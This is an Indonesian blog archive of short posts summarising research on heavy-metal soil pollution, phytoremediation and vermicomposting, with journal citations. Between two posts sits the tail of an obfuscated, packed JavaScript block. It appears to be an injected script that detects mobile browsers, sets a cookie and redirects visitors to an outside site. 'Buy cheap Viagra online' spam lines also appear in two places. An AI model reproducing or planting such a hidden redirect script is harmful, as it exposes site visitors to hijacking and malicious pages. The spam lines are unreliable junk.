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PENCEMARAN TANAH — Transformasi logam berat beracun

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  Transformasi logam berat beracun

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Efisiensi fitoremediasi juga dipengaruhi oleh bioavailabilitas logam dalam tanah untuk dapat diserap oleh akar tanaman. Bakteri dapat mengubah logam berat beracun menjadi bentuk-bentuk yang lebih mudah diserap oleh akar tanaman. Sebagai contoh, bakteri dapat meningkatkan akumulasi Se dalam tanaman dengan mengurangi selenate menjadi Se organik , dan bentuk organoselenium seperti Semet yang lebih cepat dapat diserap oleh akar daripada bentuk-bentuk anorganiknya .

Hasil penelitian menunjukkan bahwa perubahan relatif  Cu organik , Zn dan Pb-organik , masing-masing  sebesar  +5 % , +23 % , +3 % pada rizosfir yang terinfeksi , dan 0,8 % , -3 % , -2 % pada rizosfer tidak terinfeksi . Dengan demikian , sejumlah besar Cu , Zn dan Pb diikat oleh bahan organik dalam  rhizosfer yang terinfeksi bakteri.

Rhizobateria tanah juga bisa langsung mempengaruhi bioavailabilitas logam dengan jalan mengubah sifat kimia , seperti pH , kandungan bahan organik , potensial redoks , dll.   Hal ini dapat membantu pencucian kontaminan dari tanah . Bioavailabilitas logam berat dalam tanah merupakan fungsi kelarutan ; dimana pH dan kandungan bahan organik menjadi faktor pengendalinya.

Sebagai contoh, strain Pseudomonas maltophilia mampu mereduksi  Cr6+ (toksik dan mobil) menjadi Cr3+ (tidak mobil) , dan juga untuk meminimalkan mobilitas ion beracun lainnya seperti Hg++ , Pb++ , dan Cd++ .

 

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DIT PENCEMARAN TANAH — LOGAM BERAT

December 22nd, 2013 No comments

PENCEMARAN  TANAH  –  LOGAM BERAT

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Logam berat secara konvensional didefinisikan sebagai elemen dengan sifat logam (daktilitas, konduktivitas, stabilitas sebagai kation, ligan spesifisitas, dll) dan nomor atom > 20.  Kontaminan logam berat adalah Cd, Cr, Cu, Hg, Pb dan Ni. Logam merupakan komponen alami dalam tanah dengan sejumlah logam dibutuhkan oleh tanaman sebagai mikronutrien. Namun demikian , polusi biosfer oleh logam beracun telah dipercepat secara dramatis sejak awal revolusi industri. Sebagai akibat dari aktivitas manusia seperti pertambangan dan peleburan logam, elektroplating, buang gas, energi dan produksi bahan bakar, pupuk, limbah dan aplikasi pestisida, limbah kota, dll, pencemaran logam telah menjadi salah satu masalah lingkungan yang paling parah pada saat ini .

Akumulasi logam berat yang berlebihan merupakan racun bagi kebanyakan tanaman . Ion logam berat, ketika hadir dalam jumlah yang banyak dalam lingkungan, dapat diserap oleh akar dan ditranslokasi ke daun, menyebabkan metabolisme terganggu dan mengurangi pertumbuhan tanaman. Kontaminasi logam berat terhadap air dan tanah menjadi masalah utama kesehatan lingkungan dan manusia . Selain itu, konsentrasi logam yang berlebihan di tanah yang terkontaminasi menyebabkan penurunan aktivitas mikroba tanah dan kesuburan tanah , dan kehilangan hasil tanaman.

Cadmium , sebagai hara non – esensial , logam berat beracun untuk tanaman ,  dapat menghambat akar dan pertumbuhan tunas , mempengaruhi serapan hara dan homeostasis , dan sering diakumulasi oleh tanaman pertanian penting .

Kalau produk tanaman yang kaya Cd dikonsumsi oleh hewan dan manusia , dapat menyebabkan gangguan penyakit . Pada kondisi dimana polusi Cd tanah bersifat kumulatif dengan tingkat semakin parah dari waktu ke waktu , tanah pada akhirnya menjadi tidak dapat digunakan untuk produksi tanaman . Demikian pula , kontaminasi tanah dengan Cd dapat mempengaruhi keanekaragaman hayati dan aktivitas komunitas mikroba tanah.
Percobaan menunjukkan bahwa biji tanaman canola dapat berkembang normal hingga 1 mmol / L  NiCl, tetapi akar tanaman dan tajuk tanaman terhambat pertumbuhannya pada tingkat Ni yang lebih tinggi .

 

Selengkapnya lihat:

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DIT PENCEMARAN TANAH — FITOREMEDIASI LOGAM BERAT

December 22nd, 2013 No comments


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PENCEMARAN TANAH  — FITOREMEDIASI LOGAM BERAT

 

Pencemaran lingkungan mempengaruhi kualitas pedosphere , hidrosfer, atmosfer , litosfer dan biosfer . Upaya-upaya besar telah dilakukan dalam dua dekade terakhir ini untuk mengurangi sumber polusi dan memperbaiki sumber daya tanah dan air yang tercemar .

Fitoremediasi , menjadi lebih efek hemat biaya dan efek-samping yang lebih sedikit dibandingkan dengan pendekatan fisik dan kimia , metode ini telah meningkat popularitasnya di kalangan akademisi dan praktisi . Lebih dari 400 spesies tanaman telah diidentifikasi memiliki potensi untuk remediasi tanah dan air . Di antaranya adalah  Thlaspi , Brassica ,  dan spesies Arabidopsis .
Hal ini juga diharapkan bahwa kemajuan terbaru di bidang bioteknologi akan memainkan peran penting dalam pengembangan tanaman hyperaccumulators baru dengan mentransfer gen hyperaccumulating logam dari spesies liar yang produksi biomasanya ke dalam spesies budidaya yang produksi biomasanya sangat tinggi.

Tanah dan air merupakan sumberdaya alam yang berharga yang menentukan keberlanjutan pertanian dan peradaban umat manusia . Sayangnya , mereka telah mengalami eksploitasi maksimum dan rusak parah atau tercemar akibat aktivitas antropogenik .
Polusi itu meliputi sumber titik , seperti emisi limbah dan emisi partikulat dari industri , emisi kendaraan bermotor dan logam dari peleburan dan pertambangan , dan sumber nonpoint seperti garam larut ( alami dan buatan ) , penggunaan insektisida / pestisida , pembuangan limbah industri dan limbah pertanian , dan penggunaan berlebihan pupuk . Setiap sumber kontaminasi memiliki efek merusak sendiri untuk tanaman, hewan dan akhirnya kesehatan manusia , tetapi mereka yang menambahkan logam berat ke tanah dan air menjadi perhatian serius karena kegigihan mereka dalam lingkungan dan carcinogenicity kepada manusia . Mereka tidak dapat dihancurkan secara biologis tetapi hanya berubah dari satu keadaan oksidasi menjadi bentuk kompleks organik yang lain . Oleh karena itu , pencemaran logam berat merupakan ancaman sangat besar bagi lingkungan dan kesehatan manusia .

Dalam rangka mempertahankan kualitas yang baik dari tanah dan air dan menjaga mereka bebas dari kontaminasi , upaya yang terus menerus telah dilakukan untuk mengembangkan teknologi yang mudah digunakan , berkelanjutan dan layak secara ekonomis . Pendekatan fisikokimia telah banyak digunakan untuk menanggulangi tanah tercemar dan air , terutama pada skala kecil . Namun, mereka mengalami lebih banyak kesulitan untuk skala besar remediasi karena biaya tinggi dan efek samping . Penggunaan spesies tanaman untuk membersihkan tanah tercemar dan perairan disebut sebagai fitoremediasi telah memperoleh perhatian meningkat sejak dekade terakhir , sebagai teknologi baru yang lebih murah . Banyak penelitian telah dilakukan dalam bidang ini dalam dua dekade terakhir . Banyak spesies tumbuhan telah diidentifikasi dan diuji untuk sifat mereka dalam penyerapan dan akumulasi logam berat yang berbeda .

Logam berat yang telah diidentifikasi dalam lingkungan yang tercemar termasuk As, Cu, Cd, Pb, Cr, Ni, Hg dan Zn. Kehadiran logam apapun dapat bervariasi dari situs ke situs, tergantung pada sumber pencemar individu. Serapan berlebihan logam oleh tanaman dapat menghasilkan toksisitas dalam gizi manusia, dan menyebabkan penyakit akut dan kronis. Misalnya, Cd dan Zn dapat menyebabkan gastrointestinal akut dan kerusakan pernapasan dan jantung akut, otak dan kerusakan ginjal. Konsentrasi tinggi logam berat dalam tanah negatif dapat mempengaruhi pertumbuhan tanaman, seperti logam ini mengganggu fungsi metabolisme pada tanaman, termasuk fisiologis dan proses biokimia, penghambatan fotosintesis, dan respirasi dan degenerasi organel sel utama, bahkan menyebabkan kematian tanaman. Kontaminasi tanah dengan logam berat juga dapat menyebabkan perubahan dalam komposisi komunitas mikroba tanah, dapat mempengaruhi karakteristik tanah.

Pembersihan tanah yang terkontaminasi dari logam berat adalah tugas yang paling sulit, terutama dalam skala besar . Tanah terdiri dari konstituen padat organik dan anorganik , air dan campuran gas yang berbeda hadir dalam berbagai proporsi . Komponen mineral bervariasi sesuai dengan bahan induk tanah yang telah dikembangkan di bawah seperangkat tertentu kondisi iklim . Oleh karena itu , tanah sangat bervariasi dalam fisik, sifat kimia dan biologi . Pergerakan air tanah dikendalikan oleh sifat fisik , seperti struktur tanah dan tekstur . Kelembaban tanah memiliki pengaruh besar dalam mengontrol gerakan zat terlarut , kelarutan garam , reaksi kimia dan aktivitas mikrobiologi dan akhirnya bioavailabilitas ion logam . Sebuah program fitoremediasi ternyata sukses , namun harus memperhitungkan variasi sifat tanah pada lokasi-lokasi yang tercemar.

Pendekatan yang berbeda telah digunakan atau dikembangkan untuk mengurangi / menyerap kembali logam berat yang mencemari tanah dan air , termasuk lokasi pembuangan / peredaman limbah.  Metode ini secara luas dapat diklasifikasikan menjadi Metode fisikokimia dan biologi .

Metode fisikokimia meliputi penggalian dan penguburan tanah di sebuah situs pembuangan limbah , fiksasi / inaktivasi ( pengolahan kimia tanah untuk melumpuhkan logam ) , pencucian dengan menggunakan larutan asam atau larutan pencuci eksklusif untuk desorbsi  logam dari tanah diikuti oleh pengembalian tanah yang telah bersih ke situs , curah hujan atau flokulasi diikuti oleh sedimentasi , pertukaran ion , reverse osmosis dan mikrofiltrasi . Pendekatan fisikokimia umumnya mahal dan memiliki efek samping .

Pendekatan biologis remediasi meliputi:

  1. Penggunaan mikroorganisme untuk detoksifikasi logam dengan transformasi valensi , ekstraseluler presipitasi kimia , atau penguapan [ beberapa mikroorganisme enzimatis dapat mengurangi berbagai logam dalam proses metabolisme yang tidak berhubungan dengan asimilasi logam] ,
  2. Penggunaan khusus jenis tanaman untuk dekontaminasi tanah atau air dengan menonaktifkan logam dalam rizosfir atau translokasinya ke bagian tanaman di atas tanah.

Pendekatan ini disebut fitoremediasi , yang dianggap sebagai teknologi baru dan sangat menjanjikan untuk reklamasi situs tercemar dan lebih murah daripada pendekatan fisikokimia .

Fitoremediasi , juga disebut sebagai bioremediasi botani , melibatkan penggunaan tanaman hijau untuk dekontaminasi tanah , air dan udara . Ini adalah sebuah teknologi baru yang dapat diterapkan untuk kedua polutan organik dan anorganik hadir dalam tanah, air atau udara . Namun, kemampuan untuk mengakumulasi logam berat bervariasi antara spesies dan di antara kultivar dalam spesies , sebagai mekanisme yang berbeda dari penyerapan ion operasi pada setiap spesies , berdasarkan karakteristik genetik , morfologi , fisiologi dan anatomi mereka.

Ada berbagai kategori fitoremediasi , termasuk fitosekatraksi , fitofiltrasi , fitostabilisasi , phytovolatization dan fitodegradasi, tergantung pada mekanisme perbaikan (penyembuhan).

Fito – ekstraksi melibatkan penggunaan tanaman untuk menghilangkan kontaminan dari tanah . Ion logam yang terakumulasi dalam bagian tanaman di atas tanah dapat dibuang atau dibakar .

Fito – filtrasi melibatkan akar tanaman untuk menyerap logam dari limbah cair . Dalam phytostabilization , akar tanaman menyerap polutan dari tanah dan menyimpannya dalam rizosfer , membuat logam tidak berbahaya dengan cara mencegahnya dari pencucian .

Fito – volatilisasi melibatkan penggunaan tanaman untuk menguapkan polutan dari dedaunannya, seperti Se dan Hg .

Fito – degradasi berarti penggunaan tanaman dan mikroorganisme yang terkait untuk menurunkan polutan organik . Beberapa tanaman mungkin memiliki satu fungsi sedangkan yang lain dapat melibatkan dua atau lebih fungsi fitoremediasi .

 

REFERENSI:

Mohammad Iqbal Lone, Zhen-li He, Peter J. Stoffella, and Xiao-e Yang. 2008. Phytoremediation of heavy metal polluted soils and water: Progresses and perspectives. J. Zhejiang Univ Sci B. 2008 March; 9(3): 210–220.

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PENCEMARAN TANAH — LOGAM BERAT

December 22nd, 2013 No comments


Buy cheap Viagra online

PENCEMARAN TANAH  –  LOGAM BERAT

 

The pencemaran tanah dengan logam berat di wilayah tertentu adalah konsekuensi dari industri pertambangan dan pengolahan bijih mineral logam. Sumber utama pencemaran tanah oleh logam berat adalah kegiatan industri, karena debu yang dilepaskan ke atmosfer, debu yang mencemari tanah dan vegetasi. Konsentrasi tertinggi logam berat dalam tanah yang dekat dengan lokasi industri.  Polusi tanah ini sangat kompleks dan mempengaruhi aktivitas biocenosis dari tanah, pengembangan tanaman dan kualitas fisik-kimia tanah.
Pencucian atmosfer dari logam berat setelah hujan menentukan keasaman tanah melalui pengendapan asam yang melimpah di daerah ini karena pencemaran dengan SO2 dan logam berat.

Tingginya kandungan logam berat dalam tanah menentukan pergerakannya dalam vegetasi dan dalam rantai makanan, ini  merupakan faktor risiko untuk hewan dan kesehatan manusia. Ada upaya untuk membatasi masukan logam berat dalam tanah dan untuk menghindari pengayaan dalam rantai makanan. Akumulasi logam berat ini dalam rantai makanan memiliki implikasi penting pada paparan manusia.

 

Selengkapnya lihat:

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

PENCEMARAN TANAH — Logam berat

December 21st, 2013 No comments

PENCEMARAN TANAH  –  Logam berat

Penelitian dilakaukan untuk menyelidiki kontaminasi logam berat dalam tanah dan tanaman di lokasi tercemar di Cina , termasuk beberapa lokasi industri berat , pertambangan logam , peleburan bijih dan daerah irigasi air limbah yang tidak diolah.
Konsentrasi logam berat  (Cd dan Zn) , dalam  tanah berada di atas tingkat rata-rata, dan umumnya melebihi baku-mutu untuk logam dalam tanah . Konsentrasi logam pada tanaman berfungsi untuk menunjukkan status kontaminasi logam dari habitat tumbuhnya, dan juga mengungkapkan kemampuan berbagai jenis tanaman untuk menyerap dan mengakumulasi logam dari tanah .
Perbedaan substansial dalam akumulasi logam berat terjadi di antara spesies tanaman . Hydropiper Polygonum tumbuh di tanah yang terkontaminasi di kolam limbah telah mengakumulasikan 1.061 kg /mg Zn di pucuk-pucuknya . Rumex acetosa L. tumbuh di dekat lokasi peleburan bijih telah mengumpulkan lebih dari 900 mg kg / Zn dalam  tunasnya dan akar-akarnya . Oleh karena itu spesies ini memiliki potensi untuk fitoremediasi tanah yang terkontaminasi logam.
Hal yang snagat penting adalah dinamika kontaminasi logam tanah-tanaman dan gerakan kontaminan logam ke dalam rantai makanan .  Hasil penelitian menunjukkan bahwa konsumsi beras dari tanaman yang ditanam di tanah sawah yang terkontaminasi dengan Cd , Cr atau Zn dapat menimbulkan risiko serius bagi kesehatan manusia , karena 24-22 % dari total kandungan logam dalam biomassa padi terkonsentrasi dalam gabah . Platanus acerifolia tumbuh di tanah yang terkontaminasi berat ,  menunjukkan akumulasi logam berat hanya tingkat yang sangat rendah, dan mekanisme penyerapan logam berat oleh tanaman ini mempunyai nilai penting dalam pemuliaan tanaman .
Sumber logam yang memasuki matriks lingkungan termasuk air limbah yang tidak diolah,  tailing atau bubur dan deposisi debu dari tambang bijih logam , dan air limbah .
Konsentrasi  Pb, Zn atau konsentrasi Cd menurun dengan jarak dari smelter logam sesuai dengan korelasi eksponensial ( R2 > 0,9 ) , dan ini menunjukkan bahwa deposisi debu logam merupakan kontributor penting terhadap kontaminasi logam dalam tanah .


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Selengkapnya lihat:
J Environ Sci Health A Tox Hazard Subst Environ Eng. 2003 May; 38 (5): 823-38.Soil contamination and plant uptake of heavy metals at polluted sites in China. Wang QR, Cui YS, Liu XM, Dong YT, Christie P.

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PENCEMARAN TANAH — Logam Berat

December 21st, 2013 No comments


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PENCEMARAN TANAH  –  Logam Berat

 

Pencemaran tanah akibat aktivitas penambangan di masa lalu menjadi masalah lingkungan yang serius di berbagai lokasi.  Misalnya, di  The Aljustrel Tambang ( SW Portugal ) , yang terletak di sektor barat dari Iberia Pyrite Belt ( IBP ) menyajikan dampak lingkungan negatif (visual) sebagai konsekuensi dari kegiatan pertambangan yang sudah berkembang sejak zaman Romawi . Dampaknya juga terjadi pada kualitas hidup penduduk . Pemaparan pirit dan sulfida lainnya ke udara bertanggung jawab atas terjadinya polusi tanah , air permukaan dan sedimen sungai .

Penelitian dilakukan untuk meneliti beban pencemaran dari unsur-unsur beracun potensial dalam sampel tanah yang dikumpulkan di sekitar area pertambangan Aljustrel . Penilaian tingkat kontaminasi tanah dilakukan sehubungan dengan konsentrasi rata-rata unsur-unsur beracun di wilayah tersebut dan memahami distribusinya dan ketersediaan polutan di lokasi .

Hasil penelitian menunjukkan bahwa kontaminasi tanah yang parah  ( terutama As, Cd , Cu , Pb dan Zn ) . Konsentrasi As ( hingga 3936 mg /kg) dan logam berat tertentu ( hingga 5414 mg/kg Cu , 61,6 mg/kg Cd , 20 000 mg /kg Pb dan 20 000 mg/kg Zn) adalah dua kali lipat di atas nilai yang ada di daerah South Portugis Zone ( SPZ ) . Konsentrasi median dari As, Cd , Cu , Pb dan Zn melebihi nilai yang ditetapkan untuk baku mutu tanah di duniadunia , Uni Eropa , Portugal dan Andalusia .

Pola distribusi Co , Cr dan Ni dalam tanah dipengaruhi oleh sifat litologi dan geokimia dari batuan induk. Sebagian dari kandungan logam berat yang ada dalam tanah berasal dari batuan induk.

 

Selengkapnya lihat:

C. Candeias,  E. Ferreira da Silva,  A.R. Salgueiro,  H.G. Pereira,  A.P. Reis,  C. Patinha,  J.X. Matos,  P.H. Ávila. 2011. Assessment of soil contamination by potentially toxic elements in the aljustrel mining area in order to implement soil reclamation strategies. Land Degradation & Development. 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VERMIKOMPOSTING SAMPAH MENURUNKAN LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOSTING SAMPAH MENURUNKAN LOGAM BERAT

 

Tiga spesies cacing tanah , yaitu , Eudrilus eugeniae , Eisenia fetida dan Perionyx excavatus , melalui Vermicomposting dapat menurunkan kandungan logam berat . Pb , Zn , Cd , Cu dan Mn dari  fraksi organik Sampah Kota [ M ( O ) SW ] , Sampah Pasar sayur ( MW ) dan Floral Limbah ( FW ) .

Konsentrasi Zn , Cd dan Cu sebesar 36,1 , 50,9 dan 70,2 % lebih tinggi di M ( O ) SW dibandingkan dengan MW , sedangkan konsentrasi Pb dan Mn adalah 96,5 % dan 80,1 % lebih tinggi pada MW dibandingkan dengan M ( O ) SW .

Limbah  FW dan vermikomposnya memiliki konsentrasi yang lebih rendah  Cd , Pb , Zn , Cu dan Mn, masing-masing  72,2 , 55,7 , 73,6 , 78,2 dan 48,2 % dan 58,0 , 77,4 , 64,1 , 63,0 dan 71,2 % ; kalau dibandingkan dengan M ( O ) SW dan MW .

Konsentrasi logam secara signifikan menurun dalam kascing yang dihasilkan oleh spesies cacing tanah dibandingkan dengan masing-masing substratnya (bahan baku).

Konsentrasi logam menunjukkan penurunan yang signifikan dalam  interval waktu yang berbeda selama proses vermicomposting . Efisiensi penghilangan logam berat lebih bagus pada kascing yang diproduksi oleh E. eugeniae

 

Sumber: Pattnaik, Swati; Reddy, M. Vikram. 2012. Remediation of heavy metals from urban waste by vermicomposting using earthworms: Eudrilus eugeniae, Eisenia fetida and Perionyx excavatus.  International Journal of Environment and Waste Management

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, Volume 10, Numbers 2-3, August 2012 , pp. 284-296.

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VERMIKOMPOS DAN KANDUNGAN LOGAM BERAT TANAMAN

November 25th, 2013 No comments

VERMIKOMPOS  DAN KANDUNGAN LOGAM BERAT TANAMAN

 

Aplikasi limbah di bidang pertanian adalah metode yang paling sederhana dari manajemen limbah . Kandungan bahan organik dan anorganik yang beracun adalah penghalang untuk manajemen limbah tersebut . Perhatian khusus harus diberikan pada kandungan logam berat yang kehadirannya dalam limbah dan kemudian ke  tanah menimbulkan bahaya bagi tanaman , hewan dan manusia .

Penelitian ini bertujuan untuk mengetahui pengaruh vermicomposts yang dibuat dari limbah industri penyamakan kulit  terhadap pengembangan sistem akar dan biomassa tanaman serta konsentrasi logam berat dalam organ-organ tanaman ini .

Pada tahun pertama setelah aplikasi vermicomposts ,  efeknya terhadap peningkatan biomassa jagung adalah sama dengan perlakuan pupuk kandang,  tetapi secara signifikan lebih buruk daripada pemupukan dengan pupuk mineral .

Pengaruh pupuk vermicomposts terhadap peningkatan biomassa tanaman dan akar  bunga matahari dan gandum adalah sebanding dengan efek pupuk kandang ,  tetapi lebih baik daripada pemupukan mineral (pupuk anorganik).

Konsentrasi logam berat pada tanaman sanbat beragam , dalam tanaman yang diperlakukan dnegan kascing,  ternyata kandungan logam beratnya lebih rendah daripada di tanaman yang  diperlakukan dnegan pupuk anorganik atau pupuk kandang . Logam berat yang diserap tanaman ternyata diakumulasikan dalam akar ,  sedangkan kandungan kromium yang sangat tinggi dalam vermicomposts tidak menyebabkan akumulasi Cr yang berlebihan dalam tanaman .

 

Sumber:   K. Gondek, B. Filipek-Mazur. 2003. Biomass yields of shoots and roots of plants cultivated in soil amended by vermicomposts based on tannery sludge and content of heavy metals in plant tissues.  PLANT SOIL ENVIRON., 49, 2003 (9): 402–409

 

 

 

 

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VERMIKOMPOSTING dan BIOAKUMULASI LOGAM BERAT

November 25th, 2013 No comments


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VERMIKOMPOSTING  dan BIOAKUMULASI LOGAM BERAT

 

Pengaruh logam berat terhadap aktivitas spesies cacing tanah Eudrillus eugineae dipelajari selama Vermicomposting limbah padat perkotaan ( MSW ), diperlakukan dengan logam berat .

Aktivitas cacing tanah , dengan indikatornya pertumbuhan dan produksi biomassa dan jumlah kepompong yang dihasilkan , dimonitor secara berkala , dan konsentrasi logam berat pada cacing tanah dan substrat ditentukan pada interval tertentu .

Percobaan skala laboratorium dilakukan dengan mencampur logam berat dengan limbah MSW . Tembaga , kadmium , kromium , timah , dan seng yang dipilih untuk penelitian.

Studi ini menyimpulkan bahwa logam berat cenderung mengakumulasi dalam tubuh cacing tanah.  Oleh karena itu, konsentrasi logam berat dalam bahan baku Vermicomposting harus dipertimbangkan dalam kaitannya dnegan kompos dari MSW dan aplikasinya untuk pemupukan tanah dan tanaman.

Tembaga dan kadmium sangat beracun bagi cacing pada konsentrasi 1,5 dan 0,1 g / kg limbah .

Penelitian juga menunjukkan bahwa cacing tanah rentan terhadap bentuk bebas dari logam berat . Kadmium adalah logam yang paling beracun , diikuti oleh tembaga .

Cacing tanah harus dipisahkan dari kotorannya  sebelum kotoran cacing (Ivermikompos) ini digunakan untuk memupuk tanah dna tanaman.

 

Sumber:  Kumar, Sunil Sharma, Vishal; Bhoyar, R V; Bhattacharyya, J K; Chakrabarti, Tapan. 2008.  Effect of Heavy Metals on Earthworm Activities During Vermicomposting of Municipal Solid Waste.  Water Environ. Res., 80, 154 (2008).

 

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VERMIKOMPOSTING – BIOAKUMULASI LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOSTING – BIOAKUMULASI LOGAM BERAT

 

Bioakumulasi logam berat (Cd, Zn, Ni, Pb dan Cr) dan hubungan di antara mereka diselidiki pada fisiologi cacing tanah (Eisenia fetida) selama proses vermicomposting. Sampel tanah diperoleh dari kota Roudehen di wilayah timur Teheran. Spesimen E. fetida diperlakukan dnegan campuran senyawa logam dalam berbagai konsentrasi untuk memperkirakan tingkat bioakumulasi logam berat.

Setelah 14-hari (hasil percobaan menunjukkan bahwa cacing tanah mengakumulasi unsur-unsur ini dalam 14 hari) terpapar , akumulasi logam diukur dengan menggunakan metode Spektroskopi Serapan Atom.

Analisis Cluster digunakan untuk menginterpretasi data. Analisis 14 hari hasil eksperimen menunjukkan hubungan yang kuat antara bioakumulasi Pb dengan Cr ,  antara Ni dengan Cd (korelasi 0,8 dan 0,63).

 

Sumber:  M.M .Aleagha and G. Ebadi. 2011.  Study of heavy metals bioaccumulation in the process of vermicomposting.African Journal of Biotechnology.  Vol 10, No 36 (2011) p. 6997-7001. ISSN: 1684-5315.


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VERMIKOMPOSTING MAMPU MENURUNKAN KANDUNGAN LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOSTING MAMPU MENURUNKAN KANDUNGAN LOGAM BERAT

 

Penelitian dilakukan untuk mengevaluasi perubahan konsnetrasi kalsium , sulfur dan beberapa logam berat (Zn, Cu, dan Pb) dalam limbah organik yang dipengaruhi oleh pengapuran dan inokulasi mikroorganisme.

Vermicomposting merupakan teknologi yang efektif untuk pengolahan substrat organik seperti limbah padat perkotaan (MSW)  yang kaya logam berat.

Penambahan kapur dalam substrat organik secara signifikan (P ≤ 0,05) meningkatkan kandungan kalsium dan sulfur dalam vermicomposts.

Inokulasi mikroorganisme secara signifikan (P ≤ 0,05) mengurangi kandungan logam berat produk akhir dibandingkan dengan kontrol.

Strain jamur yang relatif lebih efektif dalam detoksifikasi logam berat daripada B. polymyxa.

 

Sumber:   Debabrata Das, Pradip Bhattacharyya, B. C. Ghosh and  Pabitra Banik. 2012. Effect of vermicomposting on calcium, sulphur and some heavy metal content of  different biodegradable organic wastes under liming and microbial inoculation. Journal of Environmental Science and Health, Part B: Pesticides, Food Contaminants, and Agricultural Wastes.Volume 47, Issue 3

Buy cheap Viagra online

, 2012. P. 205-211.

 

 

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VERMIKOMPOSTING MENURUNKAN KANDUNGAN LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOSTING MENURUNKAN KANDUNGAN LOGAM BERAT

 

Vermicomposting sampah organik sangat penting untuk digunakan dalam strategi pengelolaan sampah secara terpadu . Dalam studi ini , akumulasi logam berat oleh dua kelompok cacing tanah dari Iran dan Australia dalam proses vermicomposting diselidiki .

Eisenia fetida adalah spesies cacing tanah yang digunakan dalam proses vermicomposting . Bioakumulasi Cr , Cd , Pb , Cu , Zn dan logam berat oleh cacing tanah Iran dan Australia juga dipelajari .

Hasil penelitian menunjukkan bahwa konsentrasi logam berat menurun dengan meningkatnya waktu vermicomposting .

Perbandingan dua kelompok cacing tanah menunjukkan bahwa cacing tanah Iran mengkonsumsi lebih banyak mikronutrien seperti Cu dan Zn, dibandingkan dengan cacing tanah Australia;  sedangkan bioakumulasi unsur-unsur non – esensial seperti Cr , Cd , dan Pb oleh kelompok cacing tanah Australia ternyata lebih tinggi .

Penurunan yang signifikan konsentrasi logam berat dalam  kascing menunjukkan kemampuan kedua spesies E.fetida Iran dan Australia dalam mengakumulasi logam berat dalam jaringan tubuhnya.

 

 

Sumber: M.R. Shahmansouri, H Pourmoghadas, AR Parvaresh, H Alidadi. 2005.  Heavy Metals Bioaccumulation by Iranian and Australian Earthworms (Eisenia fetida) in the Sewage Sludge Vermicomposting. Iranian Jour. of Envir. Health Sci. and Engineering. 2005; 2(1): 28-32.

 


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VERMIKOMPOSTING MENURUNKAN KANDUNGAN LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOSTING MENURUNKAN KANDUNGAN LOGAM BERAT

Vermicomposting BIOMASA eceng gondok menjadi alternatif yang baik untuk pengolahan eceng gondok ( Eichhornia crassipes ) dan sekaligus  bermanfaat untuk keperluan pertanian . Ketersediaan dan pelindian logam berat ( Zn , Cu , Mn , Fe , Ni , Pb , Cd , dan Cr ) dievaluasi selama Vermicomposting E. crassipes menggunakan Eisenia fetida cacing tanah . Lima proporsi yang berbeda ( percobaan 1 , 2 , 3 , 4 , dan 5 ) pupuk kandang , eceng gondok , dan serbuk gergaji disiapkan untuk proses vermicomposting .

Hasil penelitian menunjukkan bahwa pertumbuhan biomassa cacing tanah sangat  jelek pada perlakuan dengan proporsi tertinggi eceng gondok ( trial 1 ) .

Konsentrasi logam berat yang larut air , logam berat yang terekstraks asam diethylenetriaminepentaacetic ( DTPA ) dan konsentrasi logam berat yang dapat dicuci ( persentase dari total logam berat ) berkurang secara signifikan dalam semua percobaan kecuali Percobaan-1 .

Total konsentrasi beberapa logam termasuk rendah ,  tetapi fraksi larut dalam air dan fraksi terekstraks DTPA ternyata sama atau lebih tinggi dibandingkan dnegan logam lain yang konsentrasinya lebih tinggi .

Penelitian ini mengungkapkan bahwa toksisitas logam tergantung pada fraksi yang bioavailable ,  bukan tergantung pada total konsentrasi logam . Fraksi bioavailable ini beracun bagi tanaman dan mikroorganisme tanah . Vermikomposting limbah  eceng gondok oleh E. fetida sangat efektif untuk mengurangi bioavailabilitas dan pelindian logam berat .

Uji pelindian menegaskan bahwa kascing tidak berbahaya bagi tanah , tanaman , dan kesehatan manusia . Kelayakan cacing tanah untuk mengurangi toksisitas logam dan meningkatkan kandungan hara kascing , sangat berguna untuk rehabilitasi lahan secara berkelanjutan.

 

